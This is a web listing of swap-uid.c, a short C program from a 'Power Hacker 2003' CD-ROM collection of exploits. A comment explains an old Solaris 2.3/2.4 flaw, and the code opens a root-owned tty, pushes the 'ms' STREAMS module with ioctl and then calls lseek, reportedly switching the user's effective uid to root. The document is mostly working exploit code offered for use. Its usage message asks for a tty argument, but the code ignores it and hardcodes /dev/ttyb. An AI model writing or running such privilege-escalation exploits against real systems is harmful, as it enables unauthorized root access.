home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / swap-uid.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  951 b   |  38 lines

  1. /*
  2.     Information for this security problem was obtained from Shawn Instenes
  3.     who claims he got it from some engineers at Sun. He said that a
  4.     patch existed for 2.4 but not 2.3. I was unable to find a patch
  5.     for 2.4 or 2.3.  
  6.  
  7.     If a tty port that is writeable by the user and owned by root is
  8.     opened and the I_PUSH "ms" ioctl call made followed by an lseek
  9.     the effective uid of the user is changed to root.
  10. */
  11. #include <stdio.h>
  12. #include <unistd.h>
  13. #include <fcntl.h>
  14. #include <sys/types.h>
  15. #include <stropts.h>
  16. #include <sys/stat.h>
  17. #include <sys/conf.h>
  18.  
  19. main(argc, argv)
  20.     int        argc;
  21.     char*    argv[];
  22. {
  23.     int        fd;
  24.  
  25.     if (argc < 2)
  26.     {
  27.     fprintf(stderr, "usage: %s /dev/ttyX\n", argv[0]);
  28.     exit(1);
  29.     }
  30.  
  31.     fd = open("/dev/ttyb", O_RDWR);
  32.     printf("Your current effective uid is %d\n", geteuid());
  33.     ioctl(fd, I_PUSH, "ms");
  34.     lseek(fd, 0, 1);
  35.     printf("Your effective uid has been changed to %d\n", geteuid());
  36. }
  37.  
  38.